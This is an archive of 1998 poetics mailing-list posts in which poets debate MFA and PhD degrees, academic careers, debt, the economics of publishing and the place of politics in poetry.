It was a bit more than that though: a community in itself, & one which bp hoped would be & worked to make a kind of working ideal of community in our world. A group of communal homes in downtwon Toronto, plus a farm north of the city. For awhile there (& some of what happened there is to be found interlined in _the martyrology_) it worked. An ideal of living that also found its way into much poetry (bp also facilitated a number of writing workshops for Therafields).

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

~~~
~~~

> *Thanks, Karen and Joe and Ron. Perhaps I can now restate my concern, ill-expressed the other day, more clearly: how, having racked up debt to pursue BA, MFA and PhD, I want to believe, Okay, job market (or, for others perhaps, poetry market), payback time--only to greet the frustration that ensues given the market conditions. I've seen several poets enter the MFA program with the _expectation_ of a job teaching poetry on completion--it's the actual expectation, and how it seems to have affected these poets as writers, that concerns and saddens me.*
>
> *Carrie*

↑ Index

486. **Pierre Joris**

Re: poetry/money/careers

Mon 15 Jun 1998

On that whole biz, also worth checking out is Jed Rasula's AMERICAN POETRY WAX MUSEUM (NCTE 1996)

MJ Devaney wrote:

> *At 01:15 PM 6/14/98 -0700, you wrote:*
>
> *It should be said, there were far fewer schools offering grad degrees in c.w. in the early 60s.*
>
> *A book that might be of interest here is D.G. Myers' history of creative writing programs in the U.S. (_The Elephants Teach: Creative Writing since 1880_ (Prentice Hall, 1996)).*
>
> *--MJ Devaney*
> [redacted]

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"I take place out there"

-- Robert Duncan
==========

↑ Index

487. **Maria Damon**
Re: poetry/money/careers
Mon 15 Jun 1998

actually david this is what i tell a lot of students in our new mfa program. and in fact the ones who do get jobs are the ones who go on to get phd's after their ma or mfa in writing; like you, they're hired on the strength of their doctoral work, but end up teaching creative writing which is what they wanted. of course a lot of our mfa students, for obvious reasons, don't really want to hear that, since they've already invested quite a bit of time and energy in this degree program.

At 1:15 PM -0700 6/14/98, david bromige wrote:
>Yes, Boering, but she was only unwed because you refused to wed her.
>
>Seriously, folks, my twobitsworth re poetry/money/career, while merely
>anecdotal, & personal at that, might help out someone . . . When time came
>for grad school, I told my mentor, the Great Canadian Author Earle Birney,
>that I was thinking of taking a master's in creative writing. He reasoned
>me out of it, thus : "There are more jobs for PhDs in English than for MAs
>in c.w. You will continue to write poetry in any case. Do what I did, get a
>PhD, get hired, then get them--on the strength of your publishing--to give
>you a c.w. course or two."
>
>It should be said, there were far fewer schools offering grad degrees in
>c.w. in the early 60s.
>
>But even today, this makes for sound advice. Boering is correct to warn
>against the adjunct colon-izing that besets c.w. teachers even more than
>PhDs in English.
>
>In the event, I was hired in my one and only (lifetime) tenured job on the
>"ABD" status of my doctoral studies (which stayed that way), & my books of
>poetry. By a twist of fate Earle couldnt have foreseen,during the early
>70s, when poetry was still so weirdly popular, 3 of the 4 course I taught
>each semester, were poetry writing classes. Fortunately, this interest
>waned later on, and I was freed up to teach contemporary anglophone
>poetries--which courses were much like the c.w. classs had been, but w/o
>student-indited poems to discuss.(From the potentially negative readings of
>this paragraph I exempt all my ex-students on this List). But it was the
>straight doctorate that got my foot in the door. For what that was worth :
>a pension and a health plan.
>

>As a p.s. of sorts : The Cal State Univ system operates on the Peter
>Principle : if "they" can teach efficiently at 3 courses/semester, let's
>give em 4. So try to get hired elsewhere than in the CSUS.
>
>David

↑ Index

488. **morpheal**

Re: degrees and money (and poetry)[degrees do not a poet make]

Mon 15 Jun 1998

> *Thanks, Karen and Joe and Ron. Perhaps I can now restate my concern, ill-expressed the other day, more clearly: how, having racked up debt to pursue BA, MFA and PhD, I want to believe, Okay, job market (or, for others perhaps, poetry market), payback time--only to greet the frustration that ensues given the market conditions. I've seen several poets enter the MFA program with the _expectation_ of a job teaching poetry on completion--it's the actual expectation, and how it seems to have affected these poets as writers, that concerns and saddens me.Carrie*

There is something worth reminding one's self of.

Poetry has to do with human life, or human lives, as such. That is far more comprehensive than any academic course of study could ever be.

We might expect that many poets have lived, and live, different lives, than those people who spend or have spent most of their's within academic circles, and pursuing not only degrees, but also academic teaching careers.

The academic world is a very different world from all the rest of what constitutes the breadth and depths of human experiences and those differences do have profound affects upon every facet of the academic's life, including the personal. On average they move within different circles, and pursue different activities, often in different ways, than others.

Of course, some would limit legitimization of poetry and poetics to those specific instances, of academic achievement and tenure, and thus to those very specialized, often narrowed, avenues of human experience and lifestyles.

I think there is as much to be said for the importance of poets who do not have specific academic credentials relevant to poetry, who do not pursue (for whatever reasons) academic lifestyles, including those who do not have academic degrees of any kind.

M.

aka Bob Ezergailis

P.S. Honours B.A. (Social Sciences) - mostly ancient and modern philosophies including some graduate seminars in philsophy
That too influences my writing poetry. So does everything else in life.

B.E.

↑ Index

489. **louis stroffolino**
Re: poetry/money/careers
Mon 15 Jun 1998

David Bromige--which schools offer degrees in country and western?

On Sun, 14 Jun 1998, david bromige wrote:

> *Yes, Boering, but she was only unwed because you refused to wed her.*
>
> *Seriously, folks, my twobitsworth re poetry/money/career, while merely anecdotal, & personal at that, might help out someone . . . When time came for grad school, I told my mentor, the Great Canadian Author Earle Birney, that I was thinking of taking a master's in creative writing. He reasoned me out of it, thus : "There are more jobs for PhDs in English than for MAs in c.w. You will continue to write poetry in any case. Do what I did, get a PhD, get hired, then get them--on the strength of your publishing--to give you a c.w. course or two."*
>
> *It should be said, there were far fewer schools offering grad degrees in c.w. in the early 60s.*
>
> *But even today, this makes for sound advice. Boering is correct to warn against the adjunct colon-izing that besets c.w. teachers even more than PhDs in English.*
>
> *In the event, I was hired in my one and only (lifetime) tenured job on the "ABD" status of my doctoral studies (which stayed that way), & my books of poetry. By a twist of fate Earle couldnt have foreseen,during the early 70s, when poetry was still so weirdly popular, 3 of the 4 course I taught each semester, were poetry writing classes. Fortunately, this interest waned later on, and I was freed up to teach contemporary anglophone poetries--which courses were much like the c.w. classs had been, but w/o student-indited poems to discuss.(From the potentially negative readings of this paragraph I exempt all my ex-students on this List). But it was the straight doctorate that got my foot in the door. For what that was worth : a pension and a health plan.*
>
> *As a p.s. of sorts : The Cal State Univ system operates on the Peter Principle : if "they" can teach efficiently at 3 courses/semester, let's give em 4. So try to get hired elsewhere than in the CSUS.*

> *David*

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490. **Jordan Davis**
Good, there are no lions in the street
Mon 15 Jun 1998

To reiterate Bill Luoma's biannual call for phenomena (objects, dynamics, qualities) that obsess you, e.g. high power lines, the World Bank, Myers-Briggs tests, ocean-floor volcanic vents, regionalist prejudices, injustice, the unjust neglect of great artist zzz, alien stock analysts, poetry wars, the politically neutralizing effect of pluralism, anonymity, heat death, nookie acquisition, radiant joy in the form of a soccer ball, time is a loser, etc etc etc etc etc. My background obsession has been: allergy, or misbound receptors (faux mots); my foreground obsession has been: Africa and Asia. Reason I ask: preparing a FALL PREVIEW of what to look for in people's poems.

Thankee,
Jordan

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491. **Mark Prejsnar**
Re: poetry is a tracheotomy for the soul's breath
Mon 15 Jun 1998

Essentially, there is a tax that is assessed according to the amount a company has invested in certain categories of assets. For many years the U.S. law was written so that books in warehouses were not taxable assests. The law was changed sometime around the mid-1980s I believe. (I certainly remember reading about it a lot at that time, when i was in my first library position involved with acquisitions/collection development, which was affected for various reasons by developments like this in the publishing industry...)

Essentially, pulping the books, when they are not selling at any great rate, loses less money than storing them and paying the taxes accessed on 'em as "assets." Yes, i believe that giving them away would be logistically more involved than pulping, and therefore would cost more and not save the publisher *quite* as much. True, the difference may not be great, but the in the scale of capitalist values any difference is vital.

This is a great illustration of the fact that capitalist values are *opposed* to those of culture and meeting human needs. Of course, the books we are talking

about here are very often the likes of Jacqueline Susann, whose print runs are in the hundreds of thousands. So in that case we aren't talking about books that meet human needs in the first place! I don't cry when she's pulped, only when the books are printed to begin with!

Of course a program should be developed to give 'em to needy poets wish to use them for aleatory cut-up procedures...

m.

On Sun, 14 Jun 1998, Chris [Steve]
Piuma wrote:

> *J. Kuszai showed great grace and sensitivity to write on 98.06.13:*
>
> *Why would I want to let Norton, or whomever, pulp my book*
> *because of unfortunate tax laws which make it cheaper to destroy the*
> *extant copies of a book, rendering it outofprint, rather than keep it*
> *around another year?*
>
> *I've heard about this before, and I'm curious: is it cheaper (tax laws*
> *taken into consideration) to destroy the books or to give them away? And*
> *why?*
>
> *--*
> *Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard*
> *flim: http://www.brainlink.com/~cafard/flim/index.html from the current issue:*
> *...(your idea of a real magazine: tips on sex, hair, and career)...*

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492. david bromige
advanced degrees in both country AND western
Mon 15 Jun 1998

At the Bromige/Boering Double Academy of the Lyrical Arts. (We likewise offer a Master's Program in both S AND F--"The SciFi of San Fran" being our most popular course. An AA can be obtained in db-ism, involving the study of works by Dodie Bellamy, Don Byrd and Our Founder.)

Thank you for your enquiry, Louis Stroffolino. A catalog is on its way to you by separate post.

Debbie Broadbent, Assistant to the President.

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493. **ken|n|ing**
Re: shapeshifter uncapitalized
Mon 15 Jun 1998

On Mon, 15 Jun 1998, Mark Prejsnar wrote:

> Standard does indeed make a lot of good points....
>
> being "pre-rejected"...They wouldn't *let you* sell out, if you begged
> 'em, because market values have no place for your work and your
> engagements: this makes for interesting undertows of resistence and
> self-creation..)
>

Mark, well, yes, but what is most useful touchstone in Katy's original post (thanks, Katy, for inciting so much) was that there IS a place for (ostensibly) innovative poetries in market values, the magazines listed that pay are evidence of that. There are those that read Paris Review & NYer as hallmarks of taste, and in that light, I find Standard's lucid rendition of the money creates taste=cultural/economic capital formula dead on. Now, Katy should be applauded for working to put out one of the better magazines (in my opinion) on the "grassy" margins, Explosive. As far as selling-out, which is a term I try to avoid, it's really only useful as a term denoting a sort of acquiescence to the taste fabricator, that was poorly put, let's call it the wholesale repression of consciousness. I think we've established how ludicrous a notion it is to EXPECT to be paid, make a living (whatever that means) . . .

The simple fact is that PR & NYer print crap, and that the need to buy in (precondition for selling out) is greatly diminished by magazines which are inexpensive to purchase and committed to another sort of bottom line, where those "undertows" flourish, Mark's Misc. Proj., Katy's Explosive, and my own Kenning.

Patrick F. Durgin

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494. **s. kaipa**
Re: Poetry MFAs, money
Mon 15 Jun 1998

Hi Carrie and All:

I don't understand how the conversation about spending money on MFA's got bitingly shifted to a conversation on the value (or worthlessness) of an Iowa MFA. I don't think, Carrie, that you should pity the MFA's at Iowa because--generally speaking--Iowa funds better than most MFA programs anyway. For all

the negative commentary it gets (and maybe some of it is deserved), it's probably one of the best programs you could go to if you didn't have any money to begin with--the tuition is cheap (if you don't get a scholarship) & living expenses are too. And, believe it or not, there are many people who come to the program without ever having had a writing community--people from rural areas--hoping that they will find a kinship in those who do attend.

Summi

On Sat, 13 Jun
1998, Carrie Etter wrote:

> *Katy,*
>
> *... and about the debts that are being accrued*
> *by younger writers who, perhaps, can't figure out any other way to find a writing community or the time to write...*
>
> *I really don't have much pity for those who choose to rack up the debt at Iowa. I had one year of possible teaching writing to law students at Iowa with no promise for the second year, or a solid one year comp, one year poetry writing teaching deal at Irvine with a 2/3 fee reduction. Guess where I went? Sure, I had a prof say, pay whatever, get the loans, go to Iowa. I decided otherwise for the financial reason as well as for who I wanted to study with and the crit theory at Irvine. Great poetry study does not necessarily--or even usually--equal great debt. Can't figure out any other way to find a writing community? I don't buy it.*
>
> *I don't think anyone should enter an MFA program in poetry to prepare for any kind of moneymaking job. Period.*
>
> *Carrie*

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495. **david bromige**
ps to Double Academy of c.w.
Mon 15 Jun 1998

Douglas Barbour is also on our curriculum. (I have only had 4 hours sleep, please forgive any further omissions, Our Founder kept me up late with his dictating. db.)

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496. **louis stroffolino**
Re: ps to Double Academy of c.w.
Mon 15 Jun 1998

how bout david baratier?

On Mon, 15 Jun 1998, david bromige wrote:

> *Douglas Barbour is also on our curriculum. (I have only had 4 hours sleep, please forgive any further omissions, Our Founder kept me up late with his dictating. db.)*

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497. **Gary Sullivan**
I AM A BIG FAT LIAR
Mon 15 Jun 1998

Hello, Jordan, et al.:

Current Obsessions (these are real, *not* joke-obsessions! Really!): Chantal Akerman's underarms (well, have you *seen* them?!?); Oum Kalsoum's sunglasses (ibid!); Gu Cheng's hat (*talk* to me!); those plaques commemorating the people who paid for the building or whatever ("This Plaza Is the Gift of Edith and Edward Fergesnurgh"); sounds other than conductor's voice screeching over the subway intercom (low hums, hollow snaps, frantic buzzing, moody crackling, etc.); fancy cigarettes (Dunhills, Nat Shermans, etc.); Dollar Stores (for everything but cigs); Lester Bangs's . . . uh . . . well, Lester Bangs, period . . .

. . . now I'm getting bored by this assignment and besides the other things I'm obsessed with are too embarassing to reveal here . . . MEANTIME: All you people I said I was "sending Rain Taxi out today!" to . . . I WAS LYING TO YOU!!! . . . but, not on purpose . . . there were way more responses than I imagined, and work has been busier than usual, so they're currently all addressed & ready to go, and I HOPE I'll get them out to all of you "tomorrow" . . . okay? Okay.

Bye,

Gary

On Monday, June 15, 1998 12:10 PM, Jordan Davis [SMTP:[redacted]] wrote:
> To reiterate Bill Luoma's biannual call for phenomena (objects, dynamics,
> qualities) that obsess you, e.g. high power lines, the World Bank,
> Myers-Briggs tests, ocean-floor volcanic vents, regionalist prejudices,
> injustice, the unjust neglect of great artist zzz, alien stock analysts,
> poetry wars, the politically neutralizing effect of pluralism, anonymity,
> heat death, nookie acquisition, radiant joy in the form of a soccer ball,

> time is a loser, etc etc etc etc etc. My background obsession has been:
> allergy, or misbound receptors (faux mots); my foreground obsession has
> been: Africa and Asia. Reason I ask: preparing a FALL PREVIEW of what to
> look for in people's poems.
>
> Thankee,
> Jordan

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498. **dbkk**
Re: Poultry & $$ (Don't count your chickens...)
Mon 15 Jun 1998

Ron,

Thanks for the plug re: Mina. How did you know I *love* Mira Sorvino? I wouldn't have thought of it, but I'd be honored to see her play Mina. There's one part of the book, at least in one version, I'm not sure if it's still in there, where Mina complains about having had Winona Ryder play her, the insult of that.

As far as money and poetry goes, Kevin and I go to Ralph, an accountant who "does" a lot of local poets and rock bands. You probably know him, Ron, he used to "do" Barrett and Carla, for instance. This past year, according to Ralph, Kevin and I made the most on writing of any of his clients. (Clearly Ralph hasn't reached into the Amy Tam/MacArthur-award-winners crowd for clients.) Even though we had more than enough receipts to claim a loss, he had us claim a gain on our taxes--BECAUSE even if you earn several thousand dollars at this, if you get audited, it's a hard battle to prove to the IRS that this isn't a hobby--as opposed to a profession. And part of the money earned was Kevin's California Arts Council Award for Poetry--how much more official sanction can you get? It reminds me of when some poets talk about their parents. "They'll never accept that I'm doing something real here, instead of being a slacker." Neither will the IRS, either, apparently.

Starting in July I'll be going to the local poets' dentist. If I gain any insights there, I'll be sure to pass them along.

x,
Dodie

> *Date: Sun, 14 Jun 1998 08:51:48 -0500*
> *From:* [redacted]
> *Subject: Poultry & $$ (Don't count your chickens...)*
>
> *First is that the product, to speak in strictly mercantile terms, of the*

> *poet is not the poem. The money in poetry -- readings, grants, teaching jobs -- is all so ancillary to any given poem that the connection makes no real sense. There is a wonderful comment somewhere in Whalen's On Bear's Head (one of the great hard-to-find books) to the effect of "at 50 cents a line in Poetry (Chicago), this poem is now worth ..." (I forget the amount).*
>
> *Instead, the product for a poet is the life's work, around which individual poems and books are really features. Just as an academic's product is generally going to be his or her c.v., it's the bibliography or (more accurately) everything they have done in and around the poetry scene "as poets" but also as reading curators, editors, publishers, critics, goads, etc. The value that Kevin & Dodie bring to SF, or the Tyshes to Detroit, or Charles Alexander to Tucson or Rae Armantrout to San Diego or Rod Smith to DC or Gil Ott to Philadelphia or or or (the list quickly becomes rather infinitely expanding) cannot be gauged by how much Dodie makes from her book (even when a movie gets made and we see Mira Sorvino as Mina), and, hey, it's a novel, not a poem so how does that get calculated in? (Actually, the category of "poets novels" from Melville through Kerouac through Acker to Bellamy & Killian is a whole other thread worth thinking about.) We hope that these people will, over time, be rewarded for everything they do, although the politics of the literary scene absolutely do not guarantee it.*

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499. **P.Standard Schaefer**

Re: shapeshifter uncapitalized

Mon 15 Jun 1998

Mark:

In a message dated 98-06-15 09:17:28 EDT, you write:

<< Standard's "dominated part of the dominant
class" is not quite on-target: the dominant class owns large-scale
capital; poets are working or (precariously) middle-class, not
capitalist-class (usually; there's always the occasional James Merrill).
>>

You may be right. I think what I didn't make clear is a) most of what I said comes through Weber, Bourdieu, french Marxists (for whom there is some autonomy between capital and status-- usually institutionalize) So I have to say that the dominated part of the dominant class does not have to have tremendous amounts of economic capital, but may simply share their values, etc. (Here of course there are lots of arguments against "ideology" and "habitus" and "cultural unconcious")

SS

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500. R. Gancie
an Enlightenment intuition spurned
Mon 15 Jun 1998

"Divide matter into as minute parts as you will, which we are apt to imagine a sort of spiritualizing or making a thinking thing of it;..."from Essay Concerning Human Understanding by John Locke

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501. Henry Gould
po buzzers
Mon 15 Jun 1998

Trouble wi talkin about it is that it's like making pots or money, you can't say anything about it until you see what happens, what works. You can't talk about poetry into existence.

May be the poems lead the way,
no matter what you say.

Every poem is a thing; can't help it, the thingness of it is one of the most durable fascinating things about the thing. So if it talks out of 4 or 5 sides of its mouth SOMETIMES that can be a something about it. A wall, a ship, a pyramid built to outlast the scramble.

O boy. How many lousy poems come out of that gamble.

What is this embodied something... a way into... health food? Not the ultra-craftsman Balmont but the paisan craftsman Esenin or the beyond-craftswomen Tsvetaeva & Akhmatova...

something alive that stays alive? is this personism or Bird-ism? or just sex?

now we have steep politics as always in the US - so does poetry become a sub-category of rhetoric? I mean, why do the craft types cluster at the conservative end of the spectrum - or do they? I mean do people enjoy poetry or art anymore for its own sake - I mean the "cutting edge" people - or does it have to have a civics lesson attached? That seems to be where the money's at... I mean civics of some kind - righteous anger & all that... is there a problem here? Is this what Standard was talkin about? There's no problem here, it's just us chick-ens... cluck-cluck where's the poetry? cluck-cluck where's the poetry? cluck-cluck...

- Henry G (for gab)

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502. **shemurph**
Re: degrees and money (and poetry)
Mon 15 Jun 1998

Having a dual track life, earning money separately from writing and its little cousins, is EXTREMELY useful for some people. I knew this very early on about myself. The prerequisite which precludes some people from living this way is a high level of energy. Discipline helps, just as it does in any life pursuit.

Hangups about having earned or other money can readily be addressed by making sure that if you do have resources, you use them to contribute to the accomplishment of what must be done.

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503. **Mark Weiss**
Re: Poetry MFAs, money
Mon 15 Jun 1998

You wrote, re: Iowa:

And, believe it or not,
>there are many people who come to the program without ever having had a
>writing community--people from rural areas--hoping that they will find a
>kinship in those who do attend.

If that's the case, why don't they take a small amount of that cash to support them until they can get a job in a place where there is a community of poets? What does it cost for an MFA? How many years in student-like squalor would that pay for in Paris or Prague, or even NY or SF? (Or Boston, or Baltimore, or DC or Providence--there are a fair number of places where poets can be found outside of the classroom).

Behind my modest proposal is the firm belief that it is absurd to expect to be enough of a poet after a couple of years in school for potential poets to become one's apprentices. There's a wisdom about the craft, and the art, that only comes from years, in most case decades, of practice. And what one learns at school is at best a minor part of this.

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504. **P.Standard Schaefer**
where's the poetry
Mon 15 Jun 1998

Henry:

In a message dated 98-06-15 15:43:56 EDT, you write:

<< I mean do people enjoy poetry or art anymore for its own sake - I mean the "cutting edge" people - or does it have to have a civics lesson attached? That seems to be where the money's at... I mean civics of some kind - righteous anger & all that... is there a problem here? Is this what Standard was talkin about? >>

I think that this is an interesting point. I suspect that poetry is a sub- class of rhetoric among certain "avant-garde" writers who are interesting in politics or civics first, and then come around to writing poetry. I feel sometimes they can only rant rather than enact things in language which might steer us toward thought. But why is it I tend to like these folks so much. It may be a slightly American problem. This division between craft and politics. I'm thinking about the new Sun&Moon international magazine Mr. Knife and Miss Fork (and also the reviews within) which suggest that other cultures have always been a little more comfortable (right word?) with this problem. Paul Vangelisti's translations of Zanzotto, his reviews of other Italian writers like Pagliarini and another translation of Zanzotto speak to this problem. I like this new project of Messerli's and he suggests often these days that the answer to "where's the poetry" is everywhere (I mean it is international...there are people beyond our borders who may still be interested in art for art's sake but don't shun the vital issues that it raises). I don't know how else to put it, but to say that recent translations of Gionvanna Sandri (Guy Bennett's Seeing Eye Books), the recent Raddle Moon contain some of the most exciting, provocative work without dogmatics, civics lessons, etc.

SS

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505. **Mark Prejsnar**

Re: shapeshifter uncapitalized

Mon 15 Jun 1998

I think my original point stands, Patrick: it is a *structural* truth that the overall shape of poetry, A. is not supported, financially; and B. double-marginalizes work that is formally of any interest or energy. I honestly don't see what the existence of payment from a few major establishmentarian publications does to qualify this....My analysis is mainly about the broad shape of the poetic "career" (the very fact that such quotation marks feel *required* in this context, says all). I don't think anyone for a second thinks that payments from Grand Street or the Paris Review have made a substantial difference to the living situation or overall work-choices of any poet on this list.

My point is that poetry as an activity stands outside most of the forms of funding art-activities have..And that this has interesting ramifications for the

choices people make in their work. Much of this thread has proceeded as though there were the *possiblity* of getting major support for the actual work itself. My analysis of the structure of art-marketing and art-funding, is that poetry for a fascinating array of historical reasons has gotten less grant-funding than other forms, and is less tied into the capitalist marketplace. And the stop-gap approaches that have evolved, rather clumsily, to support individual practitioners, such as teaching, are of course not precisely full solutions...At least, that's the impression I get from quite a number of friends who are poets who teach: not that they don't love and value teaching, but it is not really a form of support for the work; its pressures can apparently be as bad as those of any job..(this of course is becoming far worse, as all rights, job-security and decent pay vanish for the young academics now entering the universities, who are overwhemingly facing adjunct positions at poverty salaries).

...er, didn't you notice that my use of "selling out" was not exactly serious? I bring the phrase up because it is useful to demonstrate how much this is a matter of *structural constraints*....In such a situation compromise isn't really an option, unfortunately. Thus my point that they wouldn't "let you" if you begged 'em: poets have nothing the capitalist market (and its periphery, such as academe) WANTS. These are so to speak the working conditions that apply....

m.

On Mon, 15 Jun 1998, ken|n|ing wrote:

> *On Mon, 15 Jun 1998, Mark Prejsnar wrote:*
>
> *Standard does indeed make a lot of good points....*
>
> *being "pre-rejected"...They wouldn't *let you* sell out, if you begged 'em, because market values have no place for your work and your engagements: this makes for interesting undertows of resistence and self-creation..)*
>
> *Mark, well, yes, but what is most useful touchstone in Katy's original post (thanks, Katy, for inciting so much) was that there IS a place for (ostensibly) innovative poetries in market values, the magazines listed that pay are evidence of that. There are those that read Paris Review & NYer as hallmarks of taste, and in that light, I find Standard's lucid rendition of the money creates taste=cultural/economic capital formula dead on. Now, Katy should be applauded for working to put out one of the better magazines (in my opinion) on the "grassy" margins, Explosive. As far as selling-out, which is a term I try to avoid, it's really only useful as a term denoting a sort of acquiescence to the taste fabricator, that was poorly put, let's call it the wholesale repression of consciousness. I think we've established how ludicrous a notion it is to*

> *EXPECT to be paid, make a living (whatever that means) . . .*
> *The simple fact is that PR & NYer print crap, and that the need to buy in (precondition for selling out) is greatly diminished by magazines which are inexpensive to purchase and committed to another sort of bottom line, where those "undertows" flourish, Mark's Misc. Proj., Katy's Explosive, and my own Kenning.*
> *Patrick F. Durgin*

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506. Chuck Stein
money
Mon 15 Jun 1998

Billboard:

MONEY

HAS AN ENEMY

Bumper Sticker:

MONEY HAS AN ENEMY

Ad Placement in Yellow Pages:

MONEY HAS AN ENEMY

Posting to Poetics List:

MONEY HAS AN ENEMY

chuck stein

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507. Mark Prejsnar
the poetical is the political
Mon 15 Jun 1998

Standard, I fear you may be in danger of slipping down the slippery slope into classic american individualism here....Actually most of the vivid and *most poetic* and striking poets in the past century have been intensely political...To you it may sound like dogmatix or a civics lesson...but not to these ears. Vallejo, Duncan, Eluard, Char, Cesaire, Radnoti, Lorca (the social thrust of Poeta en NY), Neruda at his best in the Alturas and certain other section of the Canto General, HD confronting the blitz, Mayakovsky, Mandl'stam...Zukofsky, Oppen

Civics lessons...? Hmmmmm..

mark

On Mon, 15 Jun 1998, P.Standard Schaefer wrote:

> *Henry:*
>
> *In a message dated 98-06-15 15:43:56 EDT, you write:*
>
> *<< I mean do people*
> *enjoy poetry or art anymore for its own sake - I mean the "cutting edge"*
> *people - or does it have to have a civics lesson attached? That seems*
> *to be where the money's at... I mean civics of some kind - righteous*
> *anger & all that... is there a problem here? Is this what Standard was*
> *talkin about? >>*
>
> *I think that this is an interesting point. I suspect that poetry is a sub-*
> *class of rhetoric among certain "avant-garde" writers who are interesting in*
> *politics or civics first, and then come around to writing poetry. I feel*
> *sometimes they can only rant rather than enact things in language which might*
> *steer us toward thought. But why is it I tend to like these folks so much.*
> *It may be a slightly American problem. This division between craft and*
> *politics. I'm thinking about the new Sun&Moon international magazine Mr.*
> *Knife and Miss Fork (and also the reviews within) which suggest that other*
> *cultures have always been a little more comfortable (right word?) with this*
> *problem. Paul Vangelisti's translations of Zanzotto, his reviews of other*
> *Italian writers like Pagliarini and another translation of Zanzotto speak to*
> *this problem. I like this new project of Messerli's and he suggests often*
> *these days that the answer to "where's the poetry" is everywhere (I mean it is*
> *international...there are people beyond our borders who may still be*
> *interested in art for art's sake but don't shun the vital issues that it*
> *raises). I don't know how else to put it, but to say that recent translations*
> *of Gionvanna Sandri (Guy Bennett's Seeing Eye Books), the recent Raddle Moon*
> *contain some of the most exciting, provocative work without dogmatics, civics*
> *lessons, etc.*
>
> *SS*

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508. **P.Standard Schaefer**

Re: the poetical is the political

Mon 15 Jun 1998

In a message dated 98-06-15 16:59:41 EDT, you write:

<< fear you may be in danger of slipping down the slippery slope
into classic american individualism here....Actually most of the vivid and

most poetic and striking poets in the past century have been intensely political...To you it may sound like dogmatix or a civics lesson...but not to these ears. Vallejo, Duncan, Eluard, Char, Cesaire, Radnoti, Lorca (the social thrust of Poeta en NY), Neruda at his best in the Alturas and certain other section of the Canto General, HD confronting the blitz, Mayakovsky, Mandl'stam...Zukofsky, Oppen
>>

Mark, not sure how you see my remarks tied to American Individualism.

I may have made myself less clear by adopting the language of Henry Gould (as I was responding to him).

I'm really talking about a number of recent poets who like Whatten, for example, talked all this communism up in the early days and then edited out of their collected works when they were reprinted.

I do think there is sometimes a civics lesson that turns up in poetry these days. It bugs me most when it is the purely an intellectual civic lesson: poems which ostensibly tell you why the Bell Curve book is bad. The other ones sometimes disguised as meditations on pop culture (pop culture is only a problem for intellectuals, I might contend).

Also I was addressing the suggestion by Henry Gould that there is a divide between the CRAFT people and the POLITICS people currently. I suspect that anyone in any MFA program might be able to confirm this for us. Plus, there is the legacy of the deep image (still alive and well in people like Forest Gander) which seems to me to show an idealistic, individualistic residue of our forefathers who cast all that romantic, nature oreinted talk in terms of rights, liberty, blah, blah.

It might interest you, Mark, to see my interest in international poets in regard to politics because of the way labor has status within political parties. Union are often political parties. The merger between poetics, politics is more clear as I think it was Jordan Davis or someone recently suggested: because the poets lives are at stake and not just their pocket books.

Recently learned, it might also interest you, that the first line of the Italian constitution read like this: Italy is a nation founded on work...

whereas we are nation founded on what? that all men are created equal? Don't you think this kind of idealism is a live and well in some US poetry? Maybe you don't get those submissions to Misc. Proj. but here with Rhizome I get plenty.

Standard

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509. **s. kaipa**
Re: Poetry MFAs, money
Mon 15 Jun 1998

Mark:

I agree that poets should not necessarily look towards MFA programs for a sense of community.

But they do. Carrie said "Can't figure out any other way to find a writing community? I don't buy it." Well, whether or not one buys it, it is a reality for a few people who aren't living in "hip" towns and cavorting with the hipsters of the poetry scenes outside of academia. Many of them were encouraged to write by a teacher/professor and probably also led to believe that their opportunity to find other people with similar interests was on this very specific track. I was also trying to say in my previous post that these possibly "disenfranchised" writers actually do fare well at Iowa, accruing little or no debt. They are given the opportunity to write and be in the company of other writers with little strings attached.

Poetry communities can be very difficult to enter if you aren't lucky to live in an area that fosters a community that grows 'together.' And you might still find that a community that you've found is not a community that you want. (Whether it be at an MFA program or in Prague/Paris/SF/NY, etc.)

Summi

> *And, believe it or not, there are many people who come to the program without ever having had a writing community--people from rural areas--hoping that they will find a kinship in those who do attend.*
>
> *If that's the case, why don't they take a small amount of that cash to support them until they can get a job in a place where there is a community of poets? What does it cost for an MFA? How many years in student-like squalor would that pay for in Paris or Prague, or even NY or SF? (Or Boston, or Baltimore, or DC or Providence--there are a fair number of places where poets can be found outside of the classroom).*
>
> *Behind my modest proposal is the firm belief that it is absurd to expect to be enough of a poet after a couple of years in school for potential poets to become one's apprentices. There's a wisdom about the craft, and the art, that only comes from years, in most case decades, of practice. And what one learns at school is at best a minor part of this.*

↑ Index

510. George Bowering
Re: The Academy
Mon 15 Jun 1998

> *At the Bromige/Boering Double Academy of the Lyrical Arts, it should be pointed out, Mr Bromwich teaches the very popular course in Remedial Lyrics.*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

511. Tom Beard
Selling out & a community of poets
Mon 15 Jun 1998

Mark P:

> *...er, didn't you notice that my use of "selling out" was not exactly serious? [...] poets have nothing the capitalist market (and its periphery, such as academe) WANTS.*

With some exceptions. David Eggleton, a NZ poet known for his ranting performance style and capitalist-baiting (was it Ken Bolton who wrote of him that he's unlikely to have someone stand up in the middle of a performance and say "As a yuppie, I have to disagree"?), has just done a TV ad for Honda. "A poem is an object, a rough diamond ..."

Summi:

> *Poetry communities can be very difficult to enter if you aren't lucky to live in an area that fosters a community that grows 'together.' And you might still find that a community that you've found is not a community that you want.*

And even if you _do_ live in a place with a thriving poetic community (such as Wellington) it can be difficult to become a part of it. Especially if one's background, education and workplace are not oriented towards the arts. Most of my friends and colleagues are great for drinking Lagavulin and watching Jackie Chan movies with; not so good for recommending a good translation of Baudelaire.

One can always hang out with the open mike crowd, but if one is interested in more challenging and (loaded word) "thoughtful" writing, then it can be hard to

be taken seriously unless one has done the right course. Many events are only ever publicised on varsity noticeboards.

Which is why I'm so grateful for the net, and for this list above all. I may have been in lurk mode for ages, but the chatter on this list keeps my mind fizzing amid all the workplace talk of Project Management Methodologies and Rich Feature Sets.

Tom Beard.

↑ Index

512. Henry Gould
Skivvues Lesson
Mon 15 Jun 1998

My obsession tonight is with finding the formula that will allow me to umbrella all these pol-poet money issues & shut myself up at the same time so I can worry about money more.

So here it is, robot guys & gals:
VOICE.
You mean - deep throated Galway Kinnell or something?

